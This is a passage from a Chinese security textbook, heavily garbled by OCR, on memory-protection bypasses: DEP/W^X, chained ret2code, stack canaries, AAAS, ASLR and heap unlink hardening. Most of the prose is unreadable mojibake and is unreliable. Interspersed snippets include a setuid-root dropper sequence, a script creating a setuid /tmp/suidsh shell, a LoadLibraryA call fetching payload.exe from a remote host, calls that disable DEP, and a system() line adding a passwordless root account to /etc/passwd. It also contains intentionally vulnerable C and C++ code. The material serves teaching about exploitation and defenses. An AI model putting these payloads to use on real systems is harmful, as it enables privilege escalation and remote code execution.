#m. BRAEM, ﬁu&‘é’rrj’#ﬂkﬁﬂ/ﬂ FLAA AR B A R AR €41, Mhttp:/www.microsoft.

ponfxp.mspx 2 43& 49 A, EBANAT, RATH
# 4 Windows & %J#ﬁw!k%ésmWAx ey B ABAMLENE.

Ik A4 R AAT, BB E vk, FRAFbde A %4 AR 69 Windows B AL A+
Hh B AR, TR TSR LIEATRAG, Q1T A Fo A AN L R R L 65 A
. & EERANALTHARALANEADEPH R E L, — &t RHTARLHR, Mozlla
Thunderbirdfi ¢ 5 7 3% f2.1& 47 38 % T DEP.

MWAXSEASIR, X TFREASPRABI TR, SRR ERARNRIFR, B



141 #®¥y 301

T, XA ERANRBIITRIA L.
TERRGIM I B A B, AT K E R K8, ¢/ chained ret2code AT LA T, {HEE
B EAHFWAXIEE T, B AMBAREEARBITERRBEE LN TIER - H R
Wl H5E, R -LEE.
0 EAEFEARNTEMRBLIMRSY, WHKretcodeEBT .
0 HREHW+X (WritableFlExecutable) B?4IR4, ret2strepyilret2getsil AR T .
O Fichained ret2codefB— M AIAITX H B EIMBARAITEE S E?
RESHAINIR AR EE, FFSCHEA TR M. AT, X T-5 SIS0 T $AT B
Bkbt, REE—AMEE, TAEREENRHN—BIRRE. RIE, R REA
setuid(0). open(). write() close(). system()/execve()/HFHHAE—RME
#, EEHEKR, {Eiiopen () BEIFKAHHBH i Swrite () lclose (), KATHEH L
$ke BT RGEXAHER, IRAT LU RISCHHEE R, 3 Al qup2 () E5K H open () IR
[EIE R — U, HFbFRE R AR 0 B4R PR L, MEifidchained ret2code
Ksem, FHCTTUA#RRMT:
setuid(0);
dup2 (open("filename",O_RDWR | O_CREAT, 0755), 123);
write(123, &executable_image, sizeof (executable_image));
close(123);
system("filename");
RERAFEAERAR LRTTH, ERAOITHRBEEEFENZOWA, TER—LeE
SR, TE LRI, X TR A . b T RBEST
#y B, # )% (cushion solution) BLVFATAIME, #it, MR T EIXHEMshellfiZs:
#!/bin/sh
#!/bin/sh
#1/bin/sh
#!/bin/sh
;;}bin/sh
#!/bin/sh
#!/bin/sh
#!/bin/sh
id
cp /bin/sh /tmp/suidsh
chmod 4755 /tmp/suidsh
X B B R AV RSB (pattern), TR0 ATHATBUQAFMSE R pottuht . AT LA
XA AT REHNTE B ARKI A AE, TR # 1 /bin/she 28R, XA REME—ThERIH
Hiko
EWindows b, #IHMAMSEMEARR, FAHRYESEBHERLAEE: u

RevertToSelf();
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B, R AERR AR S AT R N R T R R ERTRES, MBI RER
BT
LoadLibraryA(“\\example.com\payload.exe");
SR BV BARRL T o A T iret2codei s T, 37 7ESATYE AR Y AT Bl

O B EA AR MRG?
#EWindows |-, F/b—HF|Vista, ATLAR] THUXFER) ¥AME R S0 AISERTERNXRL 2
ZwSetInformationProcess(-1, 22, "\x32\x00\x00\x00*, 4);
XA AR AE PR FE N B L8 B ExecuteOptions, AT ACYFZERERE A RAEMIHI /T30
7T, cEyeffiBen Nagy W4/t 48 T iX N W2 Chttp://www.ceye.com/html/resources/
newsletters/vice/VI20060830.html). 2E# B4 HITHR T WEEENX R RMAHEANXL
.
AP R AR — MR RS, M TR R AL R, 7~ BN %
KRBT RS R, Bltn, - ARERKTERRERENEROMZEE, BEEEN
FIF R, ATLLR:
ZwSetInformationProcess (-1, 0x22, 0x400004 4);
SRR IR FRFF M IRAS T 0400004 (225715, 7] LUK HE A 47 B 3 Al — 351 IMZ 3k
W, R R RRB S, B AR S BT EH R AN,
XRZRPHBAN IR, re2ntdIBct WHAT AR T H B RMERS .

Rkl

0x7c90e62d 4B, XP SP2ffjazwSetInformationProcess
&code 4B, REZHH WP R AE

OXEEELEELEE 4B

0x22 4B

0x400004 4B

4 4B

[zt

A IPEAAECALL . aL1H R BRI A GRS A SRR (X AR o SR LA IE R )
B 0x7c92a3 falE BT E » X THAIXMRTIAFBEEI ISR B, XA
ECREBT.

Windows VistaB# - BUEAEMRES, {HELEDLLF ML RBHLN, B, SRR
fra M4t (547 F _LarpCheckNXCompatibility@4+45c854bMIfRES).

AT LB HF 3R 40 P9 77 R A WAX B B WAXIS 2 21 SR 7T B, 4R AT LU AT — 4> /s ) chained
ret2code, EFRNATHAT, M/EBEICHE.

FEWindows BT, it -S4 EAR WX A 7T fEHY -

VirtualProtect (addr, size, 0x40, writable_address);

AV IS AT IAT 3 i BT FacarMsizef &AM ML, W RAFERER T

o
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o

FRMAFR, HRItAXR, REECETEBE AT,
7EOpenBSD L, #ERFEX BERWHX A ATREN . FEXFEH T, ¥ Mmprotect () BLATLL
T

mprotect (addr, size, 7);

tEIntel x86°F & L, OpenBSD—HE #I4. A FMABRME (segment limit) FFEARATHAT
WH, RAEFIRBTINX/PAEY & TEXFFHRE R, SRR RATHIME—T
R, EETIBM RN, TRATHAE S, Bk, FEMOARTRRE SR OB
WA LW

mprotect (Oxcfbf0101, OxOfffffff, 7);

R, HA—EEE-PWHXE, REEHORE, EETRTMEESRETIERE
BT G FEGRX after W, SWAXAX . 7EARVFX after WEAR RFW+X 177,
AT e HAR K SE I

PELinux b, WRZH T PaX, EAFER R PaXHARA VTN T HWHXERX
after W. #R7, N5 %35 T Red HatffExecShield, #7] LL# HI4OpenBSDE A 77 ¥«
WAL M X B A Trprotect () I, LinuxfWEBHIBREIE £, %% Hmprotect ()3
Be—MNERISER SAKBATFXS Tk . B0 J7 52 7E P 72 1 T 4 BT PRAT BLBRAT
mmap () :

mmap (Oxbf£££000, 0x1000, 7, 0x32, 0, 0);

mmap () B EBERMH. GII0, COHBARSHMRE, K NRBRKBIBY, #
BRATLURAKBIERA, 5%,

ATEAIXPERIN T : QA DBEBTLRSRX after W. EIXFFITEE, BN EIER
BEHBTEHRE, REEETHT, BRERIECHE. XHHERSHALTF
ret2strepyikret2gets (5 —2, 4 RFRZ Astrepy-mprotect-codeffj {05 .

WRRH ALUEAWHXR R AFeAE, AT LSRR WX X G ?

BRAEY, WMRLHETPaX, MAEERMT, EEHMHRLL, BIEWindows, Linux
FOpenBSD, ‘ERA AT hESLIA. 7EWindows EUAUEFHvirtualalloc(), #EUnix L3
Fimmap () . EARWHXBUS, RATRANEE ARG HREH, REREAE, BEit,
LA AT P A 56 % 6 H0U R () chained ret2code 7 %, i EIEFNEAMNRE. €5
‘mmap-strepy-code —F¥ o

BT TR A DA — R, IXFEAR G B8 W R AT DA B, (HAEMRMEGE

WK R B AL R bug N TR L, BT ARS T (IRA AL . Ml E R
PR RAAERATHNT, ARBF IR R BB R TTEH AR . MRCAHAE
AT, ATLARBEBERIARE . ERWMR W ELHH WA R RS, REE LR 4
MaT.

TR IEHH R PR BT T AR ME (R R HRIEEEGOTHRH, ATRERT LU i1
Ghb DR 6V BRI . S ST AR SN E BRI F AT LA, AT LA I 5E B chained
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ret2code:

pop eax

pop ebp

mov esp, ebp # leave
pop ebp

ret

TEXAIT R, B—popik LIKAHERMAL, B Moop @XM REMBSH, £
Flfree OB, EIMFAMRMEMNX. XMRERBOER R, WXRHE, RATLIESS
AR RPEMMERKRHE L, BAKTREAEEEOAZER, BETUEARKE
BLABATREME . BI, GRARTT AR B A REIRE, BT CUE RS M AT
FIMRBEEE (WRAR). TS —MaH i E L7 8, HB /M54 Hchained
ret2code Bt B L4l

EAIARRIB 25528 fichained ret2code £ % f& 3 i . (Myret2libc B ali (1 7 4, {8
FRPAXA I R R TR S

14.1.3 HBUERRP

RGP B KA DR BH RA LAWI, WRBA SRR ZERNE. Fr, &
W B SR T VPR B AT B, BURTE14.1.2% EA IR

PN, AR T LR HUBIR B, AR R X s 1 o A4 A G N LR 1R
BUH, EATIAE AR B SR T B, (E R R R R XA

1. canary

canaryi XM FH ARG VLo § LA FHMEH—RY, NTQERTHARERATET
BN )LE AKRUR, SEUTRDI, ERET AKTIER, MTTHRAED TREHAE . X
At R AR T X MR

ERGLANUR, canary (BReookie) f&—N32RLMME, BIAAES XK ABUSE B2 M. W
REEGE RN, WA ETESE NS BIET RH 5K Kcanary, TR FIHZE,
FELEVH BIBUBAS B2 R S BB BT 2 B fue

XA A K H StackGuard,  Crispin Cowan?E19974E12 A 18 HEE — RIBENM AL KK
Chttp://marc.info?m=88255929032288 ), Hiroaki Etoh#£200046 /1 191 & AiiProPoliceftt, X eEMT -
ARAHI B Chttp://www.trl.ibm.com/projects/security/ssp )« ProPolice X 4 SSP  ( Stack-Smashing
Protector), BLZEFRAGCC SSP (Stack-Smashing Protector, E2# Stack-Protector). & E#GCCHK
FEORIEH L, HRA EWGCC 4. 1RRA M — 5«

28R RATStackGuardi, 3 A% HAETFHRIEKFIRKY, HREL S RAFHER
MAERBEATI, P, IR SUR R RAFAERR L AR Ik . Tim NewshamBEIUER, %4
LA A A i 48 it A& AT RN 1K) Csensible) i RN Chttp://seclists.org/bugtraq/1997/Dec/0123 html),
StackGuard# & Z:fF /il . StackGuard " iy 22 1) 8 \AR M AE L. SEEJG, Rt RE200244 7,
Gerardo Richarte /M 48 T 1£ K % % 7 B /6 4 %% StackGuard Chttp://www.coresecurity.com/files/
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attachments/Richarte_Stackguard_2002.pdf), EZERHREERARF I AMERRRESH,
WEFHEENRE L ERARPRENWIEH NI TR REEBIR, FRAREKE
LRAFIRAE, HZERELFRT, —HIS K EHProPoliceHVisual Studioft] /SR HLEI
AR

—Fhcanaryff i (K] /ENULL canary, £#8#10( YRR, BARAR B
canary (0x000af£0d), A \x00" - FMikstrepy () BEMIIAEREL, *\x0a ' ' \x0a*
Fhiikgets () RAMUREL \x££' (sor) FFBHLILF AL R BORBERTS MR o

*}Fterminator canaryXR B8, HRFAETF, MRL % AEARAHEB Scanary, FHERYK
Wb m S X BB, ERNRZE MBI AL HEL.

% = Fcanary frandom canary, ERBHIALN, HRMNAFEREIE, KB ES,
SR RS, BT LR AT B

T EAIARAT S L, PR AT LU B StackGuard (T A4 varl HUR A7 ROBIR4E (ZEIntel A2
ebp). I MBI I B B i S AR CGRASUE I 8 ok Besthl— ), s
CHAR . SERUEEME . EXAM PR, 8 AR E R AT R A TR, JE% @ Solaris
HEETARM S X BRI . W RARRFTRATAY, EEEBRBIERALLT, B0, AT LI AT chained
ret2codeBUiti, LA RTEMN HIFLT BiStackGuard (RE" () IR BT Wit

(R3S

var2 4B
but 808
varl 4B
saved ebp 4B
canary 4B
return address 4B
arg 4B
|

EHT W % KT StackGuard i R AL M 7%, HBERIchartef SLHHK L — T

AR, NFHEARE R ES R EM b canary T o RATZHEAT—HT o

2. BRMRGR

FDEATAN 7T TR A FT RS GRAFAENG 39 00k X 2 U (9RO A5 B T DAZE R Gh
[XJGIn-—Ncanary, #R/E4E R U 1] (RAF P canary /5 T M HUR 2 MTRR B R ERAE, =¥, &
A LI HTHEF AR L At A i, B R it Tk 77« SRR T LAl L
BRI, AR NI — R T bR ke &) (HBIRATEIRED, ARk
R RRFIERHERE AN o TTJF# 5 Y&, L Theo de Raadt?E19974E 127 19H, JEEHE
SR R A B R4 FI S R Chttp://seclists.org/bugtrag/1997/Dec/0128.html), {HILEHEAF
H— Aﬁ’c&‘ﬂﬁm%%kiﬁiiﬂm. & 7£20004F 6 A 19 H Hiroaki Etoh % i ProPolice i
Chttp:// trlibm inhtml). 5%, Mi Visual Studiof®1875| A
T W FJWM%—&M&X%W*&MWGS#?E
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ProPolice {EARTFTERZ B MBI EHH/F, I Z ABIBIIALATR . T4 MG K BAERD
R, EFRSBCmeins, SefEHainEis, MUSHLuERTE.
ERREFHFREERBN D LOFIS (REWIEE) B, BR7ESENMITR—
Acanary R R EA].

T 4% A J=3 2 4 F ProPolice (BARGCC L -£stack-protectori£ M) HiEH FHIFH
iR AL BIR, RAVEITF TRUET (-04), FERLFE, K THAMERE, ProPolicesthr
R

(K3

arg copy 4B
varz 4B
varl 4B
buf 30B
canary 4B
{RHFebx 4B
{RAFebp 4B
Bk 4B
arg CRAERD 4B
+ Witk

HUF Hvarl, var2Mlargfl A& DT R out L H T, REREMebp. ebxRUEEIM
HEAT AT AR, ABFET IS Z BT K B canary, PRI LMRSE BABAREL, S (UER A
canary& 4 A LA ] o

HIRE KT R HLHI RIS YRR W 1953 . AR RHIX S48 IEIR, ProPolicetl
Visual Studio#fA7 41 PFAGIRLE R8T BARD", PR TEELRY . BESh, Visual Studio R HIAT #iF
44 (http://blogs.msdn. ive/2003/11/11/51012.aspx), T (M MARFARY". B
REVPEHUBI AT R A=A T, — 48 5 M B R MO AT B BT RN R S

[, BRI ARIE Y, S RRMSEEZ AR T, B0 LA A
JRBUBASE 77

Q FEA LA R X MR R, SRR, B, W —MEDP R BT

AN KR AT AT AR o SR TR A W S P T 52 S 0 19 b X % S PR PP B4
o — SR BAL I A R, B0, FTLEGRhX R CEREND HRLE, 3#
Rdhepiitiil (CVE-2004-0460).

Q i B b H R AEYE Cinteroperability) i) 0 A SEB L H U, Bk, HEfEd
DEAREKE, XA ROH AL T i structBiclass B FT & IR T, #E8 VR DK RS H IhE
WF, AT 25 5 S BT Al o

O $EFBALRAN R T chars B3 SUX PRSI, 7T LABERE A BURAT BRI O AL 28, X
IR IR X (semantics). #IXE— NI E NI BRI & & KR B 4
KRS, TR R (RERTAHED.
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O MAEHEARE LIRS HA R, FATERMES A, RSN
ERFNARDCR, AR B RS AT,

Q fHalloca () 7EAR b3 A G RS DR AN AT S B B AR T, TR A5 i e i
—HERFRERZ . MIBATHBIE R/ (runtime-sized) J5#B2EM: X K3 o 2 —HERY,
BARGCCXCItIY AT ARVFRIARFE, W FH %I+

#include <stdio.h>
typedef int(*fptr)(const char *);

vulnerable_function(char *msg, int size, fptr logger) {
char buf[size+10);

sprintf (buf, "Message: ¥s, msg);
logger (buf) ;

i)m: main(int c,. char **v) {
vulnerable_function(v(1], 80, puts);

}

HART DUEJURES, LTI ARG 2 TARM G K R, A E 7 240
{EFRBIE TR AL “IER R,

IR, Bt A SRS SIS Gk D BE AT 1 4 45 ?

KB, FRAEFILRIAIRTG, bt AR, RS R R
ATIRE A %47 885 . {EProPolicefl Visual Studioff) /GsHFHHABEATH R X 1o A, Zirk
KJEHE AR H ARG ? HREEHE—F | EKEH S — AR
(B

55 AE3247 (M Windows b, K FK#B4HiH Exception Registration Record{R{F7EARH, RAFLE
HiARA K Visual Studio B B CIAE LA KR T, (00 RIS iR 357 A FRA T B A 4t
HPEAMRR, WIRABEY (calling function) ffjException Registration Record (/] LA AiF], M
A S 1 8 T 2 R8T

MWindowsHE/™ E|— L%, 7EMESSHIRBOEFINT, B LUIATRER A AT R A R il
o 160 95 R 4 43 R ) 3 i B LA R S e B i o ESRE I TR B, PR e
A &Ky #cookie, {EULHITBHURARBMMUAN, PR A HLL M BRHIX LS

TEC+H N FIFRF L W AT LAG BIX R ARSI . B/ FEse £

#include <stdio.h>

class AClass {

public:

virtual int some_virtual_function() { return 1; )

}i

int a_vulnerable_function(AClass &arg) (
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char buf(80];

gets (buf) ;
return printf("%d\n*, arg.some_virtual_function());
}

int main() {

AClass anInstance;
return a_vulnerable function(anInstance);

)
AT MATa_vulnerable_function (), &HIHARQ T EIXAE:

1 ik
arg copy 4B
buf 808
canary 4B

R febp 4B
PGk 4B
arg(Riif) 4B
anInstance 4B = main() BBUIEHELF 25
R7FHebp 4B
BRI 4B
arge 4B
argv 4B
envp 4B
Mt

I RanInstancefR##4Emain () MAMAEMEE, A Foue2 J§ (BfEcanaryZ /7). R
argWSIHENE SRR AR B N REK . R canaryWHET, BEERBLEHIF
FURT, TIXRREBS BRI, DOART.

ATHENERRBIRROIT, 5T R, SRGH RBNRRAEREN, TR,
TECHE, “this” IR SRB LB BAHENRE SRR, EXMITE, tissh L
anInstance, M HBARIFfEnain () MAMIFME R, RIFAEEHKNETE.

#include <iostreams

class AClass (
public:
virtual int some_virtual_ function() { return 1; )
void a_vulnerable_function() (
char buf(80];

std::cin >> buf;  // gets() is just the same
some_virtual_function();
}
¥

int main() {
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AClass anInstance;

anInstance.a_vulnerable_function();
]

MR GCCi 5| R &AM std: :cinti LM REAH $4, 2R AR Mgets O, THE
KE &S, EARFBAL. FTRFIERZHEM T CHCHRLLAER. £Googledy
/codesearchZ {4 "char buf[*"cin >> buf", RKKTAFEEET.

RPN RALS], LD B RR S R, RARFAMBEE AR EER L
HIGCCER BB . BE/AR (trampoline) J——/MNBUEATH QIIORTS. EATHE R A RAE NS %K
FRR BRI, LRERAN Lo —F . BAIRDRAE, Wik, ERSHRERF
I, R BARAT e R

BOE LI, HEERRPRIFHHHEAEEN, FHRLWAXAFLERN, Hr# AT AER M
B Reret2code Miitt. 4R M Bicanary (RHT, EAMESZLE MK S IR, #Echained ret2codeX it
FUARRAE, EBEMFIE AR, canaryRBELKIK. NLLMAERE, AHAS
—ANRBIYRY T, ERRADBRBHARY T, ZRARKERN .

14.1.4 AAAS

TS BARTTIATARARY S 8 L3RBT, B T eS8t & M Bt 17 v B Meret2libe T o HE A
%% R #33%, Solar Designer Linux R HIE T — /MM T, 0BT HIFL 3 B MR E LhnuL 35
C\x00") FFkMIAFEs L. AbIRATREFR K M 0x00001000FF 24 19— Bl (hitp:/marc.info?m=
87602566319532), HAAZJGHNE5VMS6 (fRdosemu) FEFAME, MLXBMutmTFHT
— 4, LA R FE % 42 H Bl 0x00110000 FF 4 ) — B s 4k W B http:/marc.info?m=
87602566319543, http://marc.info?m=87602566319597). XN ERIFH R X Ingo Molnarfif 4R &
FMW T M9 (http:/marc.info?m=87602566319467) .

Rstrepy () IXHEH FHF B R BEREBINULF 1 I &80 L STHISOR, Btk Bk ZeRi i
FH RIS —MNULET, X Sterminator canaryJEH 1R .

SER ENBAAASH, FRkAE— & Windows T HAT XA MR ikH K, 5] 0x00400000, K
WA HIE A 0x001 230000 H 46, XA LKA 69 I RARIHA A AHZH,

AAAS (ASCII Armored Address Space) 7Ebig-endian'V- & L MIfR4 DI H I 2%, FH 545
— AN, R EMEAERE — S HORGAT, NULE SRR AR IR A B . AR,
#little-endian’F-£7 (Ebflintel) L, NULIEAHENPIAE, IXRERE AT DU HER I BIUBA 14 B 2K
I PRSI 8 7 4 L0 IE R, IR Ay T AR P 45 o et R fnu o

F—AMEmplf, BEMIEH system("echo gera::0:0::/:/bin/sh >>/etc/
passwd"), BBtAHsysten () Kbt ox00123456, AKX AIHbER0xbEDEI234, B
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AT LU R B B AR
HEFH
XX 4B, TE0xbEDE1234 A A4
Yyvy 4B, systen()E[FIfHHE

"echo
398
2B, HARBIIER

gera::0:0::...
g

Wik
34 12 bE bf 4B, FwdRE
59 34 12 00 4B, system() RyHBHEDI3, {LT "mov ebp, esp )i

e

AERIIXANEE T, SRR T ASEWESE 148 1 28X, 081 B AT LA 5 i [ 28 6 R A AR T
AREEHMSH. BEMEE, PR AR . ERR - AMERGEF (procedure), {HIEK
A RAAASTRY M RARS, B R ATret2libe 1 7 Rret2strepy/ret2gets B i 14 il HLAE % 2@ M 77

Mo, EREBAAASEBE, EATHAT HHIA G EABEIAAAS, TTHATICHHE # B4

— SR A RS (R HE R 3K epilogues I AR FF IPLT ), AT 18 11 T ret2text (42 %% chained
ret2code. ret2pltfiiret2di-resolver) BilifkBILERMMTTHENE, RRLEN L PITRMIHE.

B AAASAEE ) A8 B Eret2text i ot i i BLBEMARVE AT R AL 3 HIB FIAAAS, (HIXHE—
K, WX figets () BT 51 RHI6E R AR VRAE MBS 117, B, HEEIEFMtb
SEH LRy ASLR.

1415 ASLR

ASLR (Address Space Layout Randomigation) f BRI M. WRATH MM (RIEEHE. 7T
PATRLFRLIT . ARBIE) BN T, A4 ki 3 AR G BB B A G PATANRS, RAER
EEXTEAR B, AR e T .

20014F, Ypipacs3i— K 7ELinux({yPaX TS PLASLRIS, AhtfdFEM . BRAEATH (Riuht
WAL T HAR TS0, 70 R L s & R B AT AR A 4 F o AT LLEE hitp:/pax.
grsecurity.net/docs/ b BT KPaX SRS, Job itk TR — N scURetE, JEAFMAHT T ATk
FETE B

By 0 AT AR HE ) ATIAT AR A SRR IACES, T AR A K it ffinops, M4 RMER
SR (R Msthl, R DU BAT RIS T . A0, WMREHWAXMWHIR Y, RE&EHTR
B ik R Y A ) T SR AU PR 6 A Flret2code,  WIRARFE Y 4 R BRI IO M b A 4T . fEIX 2
G, SR AT AR [ i T B IA K B (entropy), FRASAFHTFRAHEBMATRIAE
JIZE I

Q FEAHRT A B R B A R ?

HWREBW T, BREETEN. ERALHASLRIHL R BT 41
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o

K TR BB E, LR ERRRT EEMNN SR, A MBEEE R
ATELE AR, B IR AR I 3 I R R RIS AT BRI E R M N st (i,
SHRZ BRI, B FELinux_ b2 0x8048000), XHE—RBRIEHTHMARTKET
ASLRZ AT .

S AR VG 4 R T TS AL 9 ETEBORAE T RS, OUR BN AT AL SRR YO
B AABAFTRALT, T Lt ey AT O SIEMAL . 3R Theo de RaadtFTAREERIITAE,

GCCJLF- B A A7 S5 HEHTH (R (I A0 FI SR AL B T TS 2 FL 4%, TUZE4R Inte] x86X LI F-&
b AEREMGRE, XA R LA N AR R A R

5 SLINPaX SRS R J R (K R 145U AR A A (http:/marc.info?m=102381113701725) #5
?ﬁm&ﬁfﬁﬁ WMREEARS ], RUAEFREEN. BRESRRITROXRM

ZE_Iﬁﬂ'E’JtMJ:%JﬁﬁEH, ﬁkﬁmwdn?{#fﬁﬁ TERIATHEIIBIF R, ret2text,

ret2strcpy Y2283 1) IveHSAT UBEAE . KB E 1 E

£, CVRETREHE-MEHS, ERIRERNRROSE, MRKE KA MR

BEALILT . RAKGFRBIBEA MR T .

u AT fERE Fret2gets, ‘ERA—ABE, M1HAZREWXER R MM (MRWXER
B, BARFUXAH AR .

u 7E 2 AL Fimmap-ret2gets-code QIR W+X B, JEAFS LR Rifl, ARBLEE.

w RN R D AR BRI A L . AR5 77 2% SR A R B B it VP R T A
40 RAEASLRY FRBUEM TS, WA AT REET (leverage) iX&eitihil348d
ASLR. HIMEEEMMMILREA 7. G, M FHITARRE, SGREMbERE
BrstRIEH AN F AT RER 2 T .

E-EREL, FHRREMLnxRITR, —BHET—MESHARIGNR, HEFE

VARSI BB EIREH . B7E/proc/<pid>/maps EHHEN [vasol SR T «

ELHERFE, CRIEKXTAEHRMIEREH, B LREME T 2Rz

H i B Mﬁﬁ! b)ﬂl}:re\lsyscall CHE % WL Reret2code ) Xiti B ) H AR . £

http:/www.tril inux-gate/ |- AT LA$R 35 £ % T 5 i #linux-gate.so
artifactffifi Bo dfE, MFRRMRATA (vdso) toa] AEHIBI RA aT AT
TR AL A M B 531D 7

ikt kAL ) 6 00 9 R BRI 2 DA . RATIET A ST R A T AR
SRR UGE MRS, B, WRBARR R R T 8L (R
Windowsffj#icookie), Hiattstit—HIRMKd, ALK ERAAHREN, R, @i
T EH A DRl B AR TE W (AT 2 AR HOB U, (BT XIF A K RRZESRA P ALK
R ARG R h %

HABZH RN R R AL AR, MARFAH (RARVE) ZREK, MH
B4 (25 B e AN Bt 2 TR B, ZEBS B ERAF I SE ML . S SR it 5 L TR
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FEARE, THRBERE Mk, XEEEGERS.
TALIEBH SADFMEND, 14254 R
0 4 XL IT 8 7357
RTREREEARBE A, HACTRITSEHERM R, wR N AR R VFBA
FMATRTRERAFMR, BABGEETRDLR TN, @185/, HEF TR
MO, RER AT UARIEE T .
ARSI T BT B, BT S A AEBRS, B)iE Linux R4 L
" /proc/<pid>/maps". WIRNFFBH AT, & LUEHRERIIHAE. Fil, FE2GHZI
BOEATLinuxFRLE b, 154 EI 155 BhP s AT DUE M PIT2' %K. R ERA
ANETEMMERER, Hit, 7TUBSHEEAAATELT 2NN, REEUST
RYETE AR KK L BEAIR ]
TEEALBMRL R ot LA FIRE AR
TR 199 F RAE L Bbug, Bt T LA E A ST A 2. B P
WA, WU TR B ARSI A WA AR AT AT RERY . AATT, SRR A
AREEPEBFTHIILT, ERRIXMESRAEBARAT GURAATREIE.
—U4RPC (Remote Procedure Call) #TEAMATEMIBEAE Y “AN 7 MFEAZE .
FESUMNHFSF b GX7EWindows EAEH R UL, AEALRRLM HaE 2 ) R R T B AL
A, Mila S4B S BB E RS, AR ETUES, WRREMRT, BN
FHRFRRKA, NTTETT it Sk il etk .
EUNIXARYE by 24— AT Fork O BREUN, &8 W AEA R 2B STHIFIH AL
R —ABRIE T, 53 SRR . WA, BT LRAREHEE,
A R AR BT A ] 0 £ D O Bt A o
BRI AV R, BATRAT SR B XA R R T . RS e ke
EARSEFR R AT, ATEERBUM I, AR LR — A REEE 2. HILRE R
OB SRRN, R AT A A RR P AR o
OpenBSDHTFAIAF fork () A& THBEHLAAFEAR, T AT A0 T2 (9 B F AR
THMAT 5 ORAH fork (0, MITTSRAIEE— N FdtF2 I HHUL -
MASLRYGE 24930 HL 15 N BRI, AR AN R 8 (B S AR B BT AR R F A £
P, R, KEBOOBAERGI R ERAMR DT ) TR HEEHEA M Bt 4 8 T B
FTFFHB P o TEG SRR IORTR, T4 A7 TA LA VG LR AR, IR SARTS AT
CUNBRBCRIAE, MRIEHFEN. Bre2pldX FHBHHAK S MFWES, HEHRAT
S8 B S MR I AT
14.1.6 R
R D 3 HH 78 T LR A TR A A 00 o X T £ 25 7 o e 00 X 3 EH K B T i
AR et REERMAEFET, R, EHROTNEE, RNREREI0 R TRER R T



141 ®¥ 313

BhR A AT

HEPXFEAR R EIR, W R R R E, W RNEAERAR R B S
PR B

HEHRPFERFBLEAFROCLMEAT, BLTRZRM. REGIERSHEEEHT
A, ERH R ER— AR R AR UG LUS B R %K . 7EWindows. Linux. Solaris.
AXFIIABREE b, FEAERPTAMORIREAR, ST LK eeae R Bk, MAHIT KK
SRS T Y [mirrored| B R . M MNEXBRBBART AR, SERIFHSHME. FAEE
TR .

BRI BRI, T ELERE R 3R SRA, B, Ric, K3ZRBIF
TR R E . M LA IR —ANRIR— AN ARSI (B RHBARN S AR B
), UEEPEAGH.

«ee->next = A

A->next = B

B->next = C

C->next =

.. ->prev

c->prev =
B->prev =

A->prev = ...

A0S T R A R L IR A R Bk

R BANERRFIR P BRI RA T

0 % 5fidmalloc (), RtlAllocateHeap () new&iffsRim .

Q4 PORRIK A A BLABE 2SR R IR T IR B BN o

JE—RW AR A RA I, AT HATIXF A, DN SEIER A RN P BER,
HHEMRE BRI — AR, REEFREE TR R BB R 08B BN
unlink(), B4R FHEARTERRALE:

unlink(node) :

node->prev->next = node->next
node->next->prev = node->prev

Lifinit, WRBHI ARG B HRL, ERERA QT EXE:

unlink(B):

B->next->prev = B->prev // c->prev = A

W IR Funlink () AHEREAREAR BB (B ->prev R M/ £ ISR IB->nexc R, 3
BR EHRARE AT A AT A FE R o

unlink(corrupted B) :

=c
B
a

c

next.
i prev

PAEN R B
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EEFMWEHERE, N THREAEOWE B, F—IREHER:

G

WALV, B — MR T MR LIRS A S, RZIR. MRS, ks
EAERYOR HAM R B T, Rk, TUMBREAEE S bbug. ELinxE, XHH
BBV RIT R P {14 Windows ., F/>—HF|Windows XPSP2, BARAIEY HMFI
DB, NIRRT AR EAT .

Stefan EsserfE20034£12 2 H 5 —K1E LT i 2 ATFHR R BE RN ME—&e
{flunlink () Chttp:/marc.info?m=107038246826168), fi& W FFcookie (Hcanary) {RIHELH,
ARG R IX —TE

AR, PHPPHIAAESA) — 4% 11 [a) HLAELE T Stefanf 18, KMEFEStefan ) o1 FHBEEAFF—
I, BB F LW Mglibe . BiJS, Windows XPSP2. Windows 2003 SP1% Windows Vista
TEHEFRP IR AR T HMT % Lunlink ) MRE, RITESEREL— S URIXEE
IR 5

HT TRREAEIGE LS, BAFEHEAEE.

Q #HA % Aunlink () RS IHERAEG ?

BERE—A.

fELinux 8, XA EER EEAR /D, $E{%Phantasmal Phantasmagoria?t “The Malloc
Maleficarum” Chttp://marc.info?m=112906797705156) BB, M BMEA
ARUFEMRPAT . KR, RAVKEE — F HifbAr 4 SHouse of MindfyiR, 3AZE
BRI AR SO %

YTHEAT A AN ER EBERN, wT LU Aunlink () %, XA RN T %2unlink ()
RE. AT, SIE—MFWAFEAZIRN, JFRERE, BRThe Malloc Maleficarum &
AEREIOIRRE, PRI AT DU O AL KD, A TOHE Y AU ARt 4 S
HEMRERE, PR Bt A R A X SRR R4

I AT R AE Bt # (o) I A BE R fmal 1oc () AU R RA BN A M,
Bt T LUK [ unsorted_chunks (av) AUIREHE: RIS AMbt AL

bek = unsorted_chunks (av) ;

fwd = bck->fd;

p->bk = bek;

p->fd = fwd;

bek->fd = p; // p is written to a user chosen location

fwd->bk = p;

ARTB AT it (R T AR, A, R A ARE T — R, X
SCHAMRRE T AT, XEEITRAR T ISR AT, T TR T WS RS
nFHE .

JRAFIKRS S R A glibe-2.3 SINIHR T 1), {RAFAIAITTEL Blglibe-2.5FT3I AMIZESE, FF&
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7 BT T A AT DU R IR SCRE TR ) BEAR B4 b B3

BACRRE R, T Windows_E¥ 58T 2 AR5 1 9852 R IR el b th R A AT B8
1. Rk, B4 HALELF T LA unlink () RAKHAR. Matt ConoverfESyScan 2004
it 4 b, 76X T Windows XP SP2HEFIAIMAHAEN BT HP R EHMEAR

bertech.

(http:/ p)e
FAHHERAERLZEWEN R, HRRE, ¢HHELRARRN (WIRPS
A AR A AR B 4 O RS Sk M0 6 B BT fi et . ComoveriBif A T3X
PMER——BR R ERL AL RER B WG FE. R, XHERE RSB
TSR (RIERGEHIMHENL) 4 RESER. #EWindows Vista b, B0 BBEALIL
T BMEEEAERY (EORLERBIE. .
ConoverMAMIA— A HERIFEIIRFPIRAE, BBUFEIIRI RGN BHT
FPERRIIIR) AR KEFIRRRBOER, FEEETRENE, CRFERY
EEFAROEAR, EREHB RS RS,
MWindows XP Service Pack 27F 4, FIAT — MR GRS HERMH L. BRRNGHE
g, THERARE, JLFRANARFEREE, B Visaf B, WREETER
., Windows VistaFUERE} 5520 TR &SR, WTEREMREHEARFERMT .
